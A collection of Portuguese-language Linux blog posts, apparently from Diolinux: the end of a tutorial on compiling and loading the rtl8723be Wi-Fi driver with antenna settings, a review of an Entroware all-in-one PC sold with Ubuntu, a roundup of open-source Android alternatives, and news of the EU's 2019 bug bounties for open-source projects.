Escolha uma pasta que você tenha acesso privilegiado, como a pasta Downloads por exemplo. Vai ficar parecido com o print abaixo.



1) Dentro desta pasta você vai fazer o download do pacote com o seguinte comando:

 git clone https://github.com/lwfinger/rtlwifi_new.git

2) Depois você vai acessar a pasta, com o comando:

cd rtlwifi_new

3) Vamos dar um comando para “preparar o terreno” para o driver, com o comando:

make

4) Depois vamos instalar com o comando

sudo make install

5) Agora vamos descarregar o módulo

sudo modprobe -r rtl8723be

6) Agora vamos carregar o módulo novo, com as suas configurações e parâmetros para a antena.

sudo modprobe rtl8723be ant_sel=1

7) Por último vamos verificar os sinais que o Wi-Fi está usando

iwlist scan | egrep -i 'ssid|quality'

Em seguida repita os passos do 5 ao 7, com o ant_sel = 2 no passo 6

8) Quando você escolher a melhor configuração e quiser tornar ela a padrão do sistema, use esse comando:

echo "options rtl8723be ant_sel=N" | sudo tee /etc/modprobe.d/rtl8723be.conf

Obs 1: Substitua a letra “N “ no comando pelos números 1 ou 2, dependendo da opção que você escolheu.

Obs 2: Para cara atualização ou modificação do Kernel, é preciso refazer esses procedimentos.

Se por algum acaso esse procedimento não funcionar ou qualquer coisa do tipo, você pode consultar o Reddit, AskUbuntu 1, 2 e 3 ou o GitHub do lwfinger

Espero você até um próximo post, forte abraço.

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Ubuntu vem de fábrica em novo computador

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Não é de agora que falamos que para o Linux se tornar popular nos desktops não basta apenas uma distribuição fácil, como um Ubuntu ou Linux Mint, mas é necessário marketing voltado ao usuário comum, e máquinas com o sistema pré-instalado.

pc-linux-hardware-ubuntu

E foi isso que uma fabricante do Reino Unido acaba de fazer. Especializada em oferecer sistemas Linux customizados, a Entroware lança no mercado Europeu uma máquina que atrai os olhares, não apenas pelo seu sistema operacional, mas pelo hardware, em corpo único e muito bonito.

Equipado com um monitor fosco de 24 polegadas, resolução full hd, por ser All-In-One, mantém simplicidade e elegância, sem um gabinete separado, tendo alto-falantes embutidos. Perfeito para usuários mais casuais que desejam usá-lo em: escritórios, escolas, uso comercial, etc. 

Além da tela de 24 polegadas, por baixo do capô, esse AIO da linha denominada Ares, conta com:

pc-ubuntu-linux-hardware

Hardware

  • Processador: Intel Core-i3 8100, 3.6GHz
  • Memória RAM: 8GB, clock 2400MHz
  • Armazenamento: SSD 120GB 

Conectividade

  • 1x DisplayPort,
  • 1x HDMI
  • 4x USB Hi-Speed 2.0
  • 2x xUSB SuperSpeed 3.1
  • 2x Entradas de áudio (entrada do microfone, e saída de áudio).
  • 1x Entrada Ethernet RJ-45
  • Intel Wireless-AC
  • Bluetooth.

Seu valor nesta configuração de entrada é de cerca de 829 Euros, podendo ser customizado para ter maior capacidade, se tornando um computador mais high-end, que acompanha um processador intel Core-i7 8700, 4,6GHz, 32GB de RAM e um SSD NVMe de 2TB, mais um SSD adicional de 4TB.

Estão disponíveis duas opções, Ubuntu Mate ou Ubuntu (com Gnome Shell). Com uma garantia oferecida pela empresa de 3 anos.

Gostaria de máquinas assim sendo oferecidas com Linux de fábrica no Brasil? A Dell vem oferecendo ótimas alternativas com Ubuntu instalado. Já pensou se uma empresa distribuir computadores aqui em terras tupiniquins, com distros como: Mint, Manjaro, KDE Neon, Fedora, Deepin, etc? Seria muito interessante, e se o marketing fosse feito da forma correta, usuários enfim poderiam saber, que existe alternativa ao Windows e macOS.

Confesso que fiquei tentado em adquirir uma máquina assim, e você curte All-In-One? Deixe nos comentários se gostaria de ver mais hardwares com Linux sendo comercializados no Brasil (mas não falo de empresas que usam unicamente para baratear os custos hein!).

Te espero no próximo post, e lembre-se, compartilhe o Diolinux, SISTEMATICAMENTE!
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Conheça alternativas Open Source ao Android

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Você sabia que Linux além de dominar o segmento servidores, também domina os sistemas operacionais para dispositivos móveis? Muitos negam que Android é Linux e usam o “argumento” de, “se não utilizar ferramentas GNU, então não é Linux”. 

Se quer saber mais sobre esse tema de Android ser ou não Linux, acesse o post e acabe de uma vez por todas, com essa dúvida cruel. No fim das contas o que define um sistema “ser Linux” ou não é usar o Kernel Linux.

alternativas-opensource-android

Mas quais são as alternativas ao Android? Será ele o único sistema móvel disponível no mercado? Melhor ainda. Quais as alternativas de Código Aberto?

Irei apresentar brevemente 5 alternativas Open Source ao popular robozinho verde, a lista não obedece nenhuma ordem específica. Dada as ressalvas, vamos conhecer as opções.

Tizen


sistema-mobile-tizen

O Tizen é um sistema operacional móvel, também baseado em Linux, como o Android. Tem muito apoio da Linux Foundation, Samsung e Intel. O primeiro smartphone lançado com o sistema de fábrica foi o Samsung Z, na Índia. Infelizmente o Tizen não teve a projeção esperada, muitos afirmam que o sistema não terá futuro. Isso deixo aos especialistas e “Pais/Mães Diná” de plantão.

postmaketOS


sistema-mobile-postmartketos

Também conhecido como pmOS, o postmarketOS está em desenvolvimento inicial. Trata-se da distribuição Alpine Linux configurada para toques.Com pacotes próprios, visa ser instalado em smartphones e obter ótima performance, assim como sua versão desktop.

Librem 5


smartphone-opensource-librem

Com a audaciosa proposta de oferecer um sistema e hardware de código aberto, o Librem 5 é uma iniciativa que visa segurança e privacidade de seus usuários.

Um Smartphone que virá com distribuições Linux adaptadas ao toque como: PureOS, Debian, Ubuntu, SUSE, Fedora e Arch. É um dos projetos mais aguardados pela comunidade, e muitos estão ansiosos de quais serão os rumos do projeto.

Plasma Mobile


sistema-plasma-mobile-kde

O Plasma Mobile é a versão da interface do KDE para smartphones. Atualmente já pode ser testado em dispositivos como o LG Nexus 5. É interessante ver o conceito de convergência no Projeto KDE, entre sua DE e aplicações. Pois os apps do Plasma Mobile utilizam a framework Kirigami, possibilitando desenvolvimento dos seus softwares tanto para mobile como desktop.

Ubuntu Touch


sistema-mobile-ubuntu-touch

Abandonado pela Canonical em 2017, o Ubuntu Touch teve uma complicada trajetória. Primeiro a campanha de arrecadamento para seu desenvolvimento, não foi tão bem. Com meta de 32 milhões de Dólares, arrecadando 12 Milhões.

Após a campanha de crowndfunding, muitos pensaram que o projeto seria abandonado. Eis que em Fevereiro de 2015 a Canonical firma parceria com a empresa espanhola BQ e lança seu primeiro aparelho. Logo depois, pela fabricante chinesa Meizu, mas não tendo o retorno esperado, o sistema foi abandonado pela Canonical em Abril de 2017.

Então a comunidade entra em ação, abraçando o projeto e não deixando morrer. Novas funcionalidades estão sendo incorporadas, como a possibilidade de execução de apps Android.

Mantido pela UBPorts, é relativamente cedo para falar sobre o destino do Ubuntu Touch, se o mesmo vai vingar ou morrer com sua proposta de conversão.

E você, sabia de tantas alternativas? É muito bom ver que outros sistemas vem crescendo e amadurecendo. Melhor ainda quando são projetos de código aberto, agregando diversas vantagens e fomentando o desenvolvimento de mais boas alternativas.

Deixe nos comentários se conhece mais opções ao popular Android, nos vemos no próximo post, SISTEMATICAMENTE! 😎
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UE vai começar a dar recompensas para quem achar bugs de segurança em projetos Open Source

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segunda-feira, 14 de janeiro de 2019

Em 2019 uma Comissão Europeia relacionada a segurança cibernética está procurando a ajuda de quem puder para descobrir falhas de seguranças e bugs em 15 projetos Open Source,  o montante pode chegar até €1 Milhão.

 UE vai começar a dar recompensas para quem achar bugs de segurança em projetos Open Source






Anúncio foi feito por Julia Reda, membro do European Pirate Party e co-fundadora do projeto Free Software Open Source Audit (FOSSA), que foi iniciado em 2014 para ajudar a melhorar a segurança geral da Internet.

Em seu blog, ela fez o anúncio em 30 de Dezembro de 2018 e a na última atualização neste ano (10/01/2019) fez o seguinte complemento.

“Em janeiro, a Comissão Europeia está lançando 14 de um total de 15 recompensas para a caça de bugs em projetos de Software Livre que as instituições da UE confiam. Um bug bounty é um prêmio para pessoas que procuram ativamente por problemas de segurança. O montante da recompensa depende da gravidade do problema descoberto e da importância relativa do software. Os projetos de software escolhidos foram previamente identificados como candidatos nos inventários e uma pesquisa pública .”

Alguns programas bem conhecido estão na lista dos “contratos”, como:

- Filezilla, com recompensa €58.000,00, começando em 07/01/19 e terminando em 15/08/19;

- VLC Media Player, com recompensa de €58.000,00, começando em 07/01/19 e terminando em 15/08/19;

- KeePass, com recompensa de €71.000,00, começando em 15/01/2019 e terminando em 31/07/2019;

- PuTTY, com recompensa de €90.000,00 começando em 07/01/2019 e terminando em 15/12/2019;

Outro ponto pertinente levantado pela Julia foi o seguinte:

"A questão fez muitas pessoas perceberem o quão importante é o Software Livre e de Código Aberto para a integridade e confiabilidade da Internet e outras infraestruturas. Como muitas outras organizações, instituições como o Parlamento Europeu, o Conselho e a Comissão baseiam-se no Software Livre, tanto em seus sites, quanto muitas outras coisas ".

Bem que nossos legisladores poderiam ter a mesma postura em nossas prefeituras, governos estaduais e federais.

Para saber a lista completa de aplicativos que participam da campanha, além de saber como você pode participar, acesse o link do blog da Julia Reda.

Iniciativas assim são muito bem-vindas, pois trazem benefícios para os usuários dos aplicativos e assim eleva a qualidade dos mesmos, não só para quem promove a caça aos bugs, como para aqueles que ainda irão usar os aplicativos no futuro que já contarão com correções de bugs, vulnerabilidades e implementações de novas tecnologias também. 

Isso é um dos “poderes” que a comunidade open source tem, poder diagnosticar um problema, pensar e desenvolver a solução e aplicar a mesma em tempo “recorde” em relação aos softwares e sistemas operacionais proprietários.

Espero você até o próximo post, forte abraço.

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